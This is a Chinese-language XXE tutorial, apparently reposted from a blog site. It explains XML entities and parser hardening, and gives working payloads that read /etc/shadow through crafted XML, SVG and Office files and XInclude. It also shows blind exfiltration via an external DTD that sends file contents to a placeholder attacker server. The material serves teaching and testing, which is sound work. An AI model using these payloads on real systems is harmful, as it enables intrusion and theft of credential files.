web安全101之如何理解XXE?
前置知識
XXE如何理解?
它是可擴展標記語言 ( XML) 用于存儲和傳輸數據。
通常始于異步JavaScript和XML技術(ajax技術):網頁應用能夠快速地將增量更新呈現在用戶界面上,而不需要重載(刷新)整個頁面。
目前JSON的使用比XML更加普遍。JSON和XML都被用于在Ajax模型中的XML技術。
這種標記語言允許開發人員定義和表示任意數據結構的HTML。
以下為定義屬性和值的Security Assertion Markup Language(SAML)語言
<saml:AttributeStatement><saml:Attribute Name="username"> # 定義屬性<saml:AttributeValue> # 定義值vickieli</saml:AttributeValue></saml:Attribute> </saml:AttributeStatement>XML 格式廣泛用于 Web 應用程序的各種功能,包括身份驗證、文件傳輸和圖像上傳,或者只是將 HTTP 數據從客戶端傳輸到服務器并返回。
XML 文檔可以包含 文檔類型定義 ( DTD) ,它定義了 XML 文檔的結構及其包含的數據。
注意:&file; 是實體,而不是外部實體。
這些DTD可以從外部加載或在文件本身的DOCTYPE標簽中聲明
以下是一個DTD,它定義了一個名為file的XML實體
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY file "Hello!"> ]> <example>&file;</example> # &file; = Hello!我們可以將XML的實體,理解于類似編程語言中的變量:即,&file; = Hello!
XML 文檔還可以使用外部實體通過 URL 訪問本地或遠程內容。
當語法中使用SYSTEM 關鍵字時,則該實體是外部實體,其值將從URL加載
URL可以從本地文件系統中加載,也可以從互聯網中加載
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY file SYSTEM "file:///example.txt"> ]> <example>&file;</example> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY file SYSTEM "http://example.com/index.html"> ]> <example>&file;</example>【查看資料】
實體與外部實體
我們知道了,XML外部實體的由來,也能夠區分它們的一紙之隔(有沒有語法SYSTEM 關鍵字的定義)
不管是什么實體(如果用戶可以控制 XML 實體或外部實體的值),則可以基于xml技術后的各種網站業務功能點(比如,實際網站在使用此技術上傳文件)或者此技術的解析引擎來產生各種漏洞。
已知的威脅來自于兩點
1.攻擊者可以控制實體的值。
2.xml解析器錯誤的配置為從輸入的地方讀取xml文檔時解析和評估 DTD,攻擊者可以聲明自己的外部實體以實現惡意結果。
此類攻擊稱為 XML 外部實體攻擊,或 XXEs。
防御
防止 XXE 就是限制 XML 解析器的功能。因為 XXE 攻擊需要 DTD 處理,應該盡可能禁用 XML 解析器上的 DTD 處理。
如果無法完全禁用 DTD,您可以禁用外部實體、參數實體。
為了防止基于 XXE 的 DoS,您可以限制 XML 解析器的解析時間和解析深度。 您還可以完全禁用實體的擴展。
禁用 DTD 處理和配置解析器行為的機制因使用的 XML 解析器而異。
比如:PHP XML 解析器,需要設置 libxml_disable_entity_loader 為 TRUE來禁用外部實體。
其他語言的最佳配置與實踐請參考owasp備忘單,以及各種官方文檔與靜態分析軟件的官網文檔
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.md
甲骨文的最佳實踐建議【網絡安全學習資料·攻略】
靜態代碼分析sonarsource的最佳實踐建議
https://rules.sonarsource.com/java?search=XXE
另一條防御角度是輸入驗證,黑白名單等
為了防止盲XXE,可以禁止出站的網絡流量。
XXE的特征值
在使用bp基于功能點的觀察與抓包時,<?xml是最明顯的一個提示,告訴您該站點在使用XML技術
還要注意base64編碼,LD94bWw,表示<?xml
還可以強制應用程序解析 XML 數據。即,網站明確的表現為在收發json數據,那能不能將此數據交換強制置為xml技術?配置上的失誤與一些不安全的默認項,使其變為現實。
修改content-type頭,強制輸入xml格式的數據【網絡安全學習資料·攻略】
Content-Type: text/xml Content-Type: application/xml意識中,遇到的每一個功能點都假設,思維中思考此處的數據,后臺可能會接收與處理xml格式的數據。
經典的XXE測試手法
顯注解析與其他注入類漏洞沒有什么本質上的區別,就是放置payload,響應包觀察;盲注與其他類型的漏洞也沒什么本質上的區別,使用第三方可控的服務器輔助觀察,比如dnslog,內網搭建測試服務器等,觀察訪問日志。
測試SYSTEM的外部實體,是否能被解析;是否能從本地加載;是否能從外部URL加載。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY test SYSTEM "Hello!"> ]> <example>&test;</example>如果SYSTEM定義的外部實體都無法解析,那還是別亂懟了。人家在一開始就已經將DTD配置為最佳防御策略了。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY test SYSTEM "file:///etc/hostname"> ]> <example>&test;</example>SYSTEM語法上的其他語法可選項,比如PUBLIC語法, "abc"是給解析器看的,與&test;關聯起來,將后面的值給它。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY test PUBLIC "abc" "file:///etc/hostname"> # "abc" 為標識ID,給解析器看的。它將abc與&test;關聯起來,并將payload替換給&test; ]> <example>&test;</example>測試盲XXE
通過讓目標服務器向攻擊者的服務器發出請求并使用泄露的信息來竊取數據。
確認服務器是否可以出站,訪問到攻擊者的服務器
關于dmz區域的防火墻流量的限制:80,443,53等基礎依賴端口先行測試。因為網站業務需求,它自己就很可能需要從其他地方讀取其他圖片,js,css等資源。防火墻把所有的都禁止了,資源還如何加載進來。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY test SYSTEM "http://attacker_server:80/xxe_test.txt"> ]> <example>&test;</example>在不同的文件類型中插入 XXE payload
除了在 HTTP 請求正文上測試 XXE 之外,您還可以嘗試將包含 XXE payload的文件上傳到服務器。
網站可能限制了可以上傳的文件類型,此時可以在不同的文件類型中插入 XXE payload
這里僅示例幾個,其他文件類型可以自行搜一搜
svg文件,記事本打開編輯
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY test SYSTEM "file:///etc/shadow"> ]> <svg width="500" height="500"><circle cx="50" cy="50" r="40" fill="blue" /><text font-size="16" x="0" y="16">&test;</text> </svg>辦公文件都是壓縮文件
Microsoft Word 文檔( .docx 文件)、PowerPoint 演示文稿 ( .pptx ) 和 Excel 工作表 ( .xlxs )
修改后綴名為zip,插入payload,打包還原【網絡安全學習資料·攻略】
可以簡單地將payload插入 /word/document.xml 、 /ppt/presentation.xml 或 /xl/workbook.xml 。 最后,將檔案重新打包為 .docx 、 .pptx 或 .xlxs 格式。
linux中的zip還原辦公文檔
XInclude攻擊
有時無法控制整個 XML 文檔或編輯 XML 文檔的 DTD。 但是,如果目標應用程序接受用戶輸入并將其插入到后端的 XML 文檔中,仍然可以利用 XXE 漏洞。
XInclude 是一個特殊的 XML 特性,它從名為 xi:include 的單個 XML 標記構建一個單獨的 XML 文檔。如果可以控制傳遞到 XML 文檔中的單個未經處理的數據,就可以在該值中放置 XInclude 攻擊。
輸入點payload如下,響應包觀察特征值
引用http://www.w3.org/2001/XInclude命名空間,以識別xi:include標簽的功能性特殊含義
<example xmlns:xi="http://www.w3.org/2001/XInclude"> # 引用http://www.w3.org/2001/XInclude命名空間,以識別xi:include標簽的功能性<xi:include parse="text" href="file:///etc/hostname"/> </example>使用參數實體拼湊多態性payload
這種攻擊可能不起作用,因為大多數解析器不允許外部實體包含在其他外部實體中。
file包含在exfiltrate中,這種攻擊可能不起作用。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY file SYSTEM "file:///etc/shadow"><!ENTITY exfiltrate SYSTEM "http://attacker_server/?&file;"> ]> <example>&exfiltrate;</example>XML DTD 有一個稱為參數實體的特性。參數實體是只能在 DTD 內的其他地方引用的 XML 實體,它從外部加載DTD。用百分號 (%) 字符聲明和引用的。
解析器遇到符號 %,才將解析方式理解為外部DTD的模式。內部還是外部的DTD,由%于解析器中觸發。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY % file SYSTEM "file:///etc/shadow"> <!ENTITY % ent "<!ENTITY % exfiltrate SYSTEM 'http://attacker_server/?%file;'>"> # %百分號的十六進制%ent;%exfiltrate; ]>根據 XML 規范,在內聯 DTD(在 DOCTYPE 標記內指定的 XML 文檔中的 DTD)和外部 DTD(在別處托管的單獨 DTD)中,參數實體的處理方式不同。在內聯 DTD 中,不能在標記中引用參數實體,因此該行不起作用:<!ENTITY % exfiltrate SYSTEM 'http://attacker_server/?%file;'>,而在外部 DTD 中,不存在這樣的限制。
要通過盲XXE測試的話,需要在攻擊者服務器上準備好xxe.dtd文件。注意:這是直接盲測發給服務器的請求,引誘服務器加載http://attacker_server/xxe.dtd
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY % xxe SYSTEM "http://attacker_server/xxe.dtd">%xxe; ]>然后將payload編寫于xxe.dtd文件中,使用%或者不帶%等一切可行的payload來進行測試。注意:以下才是攻擊者服務器上面準備好的payload,具體危害是讀取
file:///etc/shadow文件。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY % file SYSTEM "file:///etc/shadow"> <!ENTITY % ent "<!ENTITY % exfiltrate SYSTEM 'http://attacker_server/?%file;'>"> # %百分號的十六進制%ent;%exfiltrate; ]>將dtd文件payload部署于攻擊者服務器的示例
關于返回數據的格式化問題
如果您嘗試讀取特定格式的文件,則 XXE 數據泄露會變得更加復雜。
例如尖括號 (<>)、引號 (" 或 ') 和與號 (&)等各種特殊符號,它們在返回數據的時候可能會被其他東西特殊對待與處理掉。
在 XML 文件中,包裹在 CDATA(字符數據)標簽中的字符(<![CDATA[" "]]>)不會被視為特殊字符。
<!ENTITY % file SYSTEM "file:///passwords.xml"> <!ENTITY % start "<![CDATA["> <!ENTITY % end "]]>"> <!ENTITY % ent "<!ENTITY % exfiltrate'http://attacker_server/?%start;%file;%end;'>"> %ent; %exfiltrate;感謝耐心的閱讀到了這里。關注我,持續更新。共勉。
私我獲取【網絡安全學習資料·攻略】
總結
以上是生活随笔為你收集整理的web安全101之如何理解XXE?的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【内网渗透】利用非常规手段突破安全策略上
- 下一篇: 【网络安全】Windows cmd的命令